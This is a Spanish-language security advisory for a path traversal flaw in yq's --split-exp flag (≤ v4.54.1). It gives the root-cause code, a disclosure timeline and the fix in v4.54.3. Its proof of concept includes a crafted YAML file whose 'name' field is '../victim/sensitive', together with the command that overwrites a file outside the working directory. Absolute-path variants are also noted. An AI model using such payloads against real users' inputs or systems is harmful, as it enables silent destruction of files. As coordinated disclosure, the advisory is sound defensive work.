← Reportes xaferima.com English →

Escritura arbitraria de archivos mediante path traversal en --split-exp

Escritura Arbitraria CVSS 7.3 HIGH CWE-22: Improper Limitation of a Pathname to a Restricted Directory mikefarah/yq ≤ v4.54.1 (--split-exp)

GHSA-9fvq-9qj8-6qhx · Asignación de CVE pendiente

Resumen

El flag --split-exp (alias -s) evalúa una expresión yq contra el contenido del documento de entrada y usa el valor escalar resultante directamente como ruta de archivo de salida sin sanitización. Como no se rechazan componentes .. ni rutas absolutas antes de que el valor llegue a os.MkdirAll y os.Create, un documento YAML/JSON/XML controlado por el atacante puede hacer que yq cree o sobrescriba archivos arbitrarios en cualquier lugar donde el proceso tenga permiso de escritura. Una víctima que ejecuta yq -s '.name' payload-malo.yml sobre entrada no confiable puede ver archivos fuera del directorio de trabajo sobrescritos silenciosamente — yq sale con código 0.

Impacto

Causa Raíz

En pkg/yqlib/printer_writer.go, multiPrintWriter.GetWriter toma el nombre de archivo del propio documento y lo pasa al sistema de archivos sin sanitizar:

// printer_writer.go:66-67 — name proviene del documento
if result.MatchingNodes.Len() > 0 {
    name = result.MatchingNodes.Front().Value.(*CandidateNode).Value
}

// printer_writer.go:69-72 — solo un regex de extensión; sin validación de ruta
var extensionRegexp = regexp.MustCompile(`\.[a-zA-Z0-9]+$`)
if !extensionRegexp.MatchString(name) {
    name = fmt.Sprintf("%v.%v", name, sp.extension)
}

// printer_writer.go:74-78 — el name sin sanitizar llega a los sumideros
err = os.MkdirAll(filepath.Dir(name), 0750)
...
f, err := os.Create(name)

No hay verificación de filepath.IsAbs, ni rechazo de segmentos .., ni confinamiento a un directorio base. --split-exp-file comparte el mismo writer (solo cambia el origen de la expresión — cmd/utils.go:57-64); los flags se declaran en cmd/root.go:199-205.

Prueba de Concepto

Probado contra yq v4.54.1. Un archivo centinela fuera del directorio de trabajo es sobrescrito con el documento del atacante:

# Directorio de trabajo /tmp/yq-poc/work; archivo víctima fuera de él
$ echo 'ORIGINAL SENSITIVE DATA - MUST NOT BE OVERWRITTEN' \
    > /tmp/yq-poc/victim/sensitive.yml

# Payload controlado por el atacante: 'name' contiene la ruta de traversal
$ cat > /tmp/yq-poc/work/payload.yml <<'EOF'
name: ../victim/sensitive
message: attacker-controlled write
EOF

$ cd /tmp/yq-poc/work
$ yq -s '.name' payload.yml
[exit 0 — silencioso; el flag deriva los nombres de archivo del documento]

$ cat /tmp/yq-poc/victim/sensitive.yml
name: ../victim/sensitive
message: attacker-controlled write          ← DATOS ORIGINALES ELIMINADOS

Variantes confirmadas: relativo un nivel (../victim/…), relativo dos niveles (escapa por completo el sandbox del PoC) y rutas absolutas (name: /tmp/arbitrary/target crea o sobrescribe en la ubicación literal). 3 capturas adjuntas al advisory.

Cronología de Divulgación

FechaEvento
2026-10-09Vulnerabilidad descubierta; PoC confirmado (variantes relativa, de dos niveles y ruta absoluta)
2026-10-23Reportada vía GitHub Private Vulnerability Reporting como Issue A del advisory combinado; aceptada por el mantenedor el mismo día
2026-11-05Issue A separado en el advisory independiente GHSA-9fvq-9qj8-6qhx
2026-11-09Advisory publicado; corrección lanzada en yq v4.54.3
PendienteAsignación de CVE (solicitud debida ahora que existe corrección pública)

Corrección

yq v4.54.3 restringe las rutas de salida de split al directorio de trabajo por defecto:

- Restricted `--split-exp` output paths to the current directory by default.
  Use `--security-allow-write-any-path` with trusted input to restore the
  previous behaviour (#2965)

El advisory también propone una defensa sanitizeSplitFilename que rechaza rutas absolutas y segmentos .. después de filepath.Clean antes de cualquier llamada a MkdirAll/Create. Mitigación en versiones vulnerables: no pasar documentos no confiables a --split-exp / --split-exp-file.

Corregido en yq v4.54.3 (2026-11-09). Advisory publicado 2026-11-09; asignación de CVE pendiente.

← Volver a todos los reportes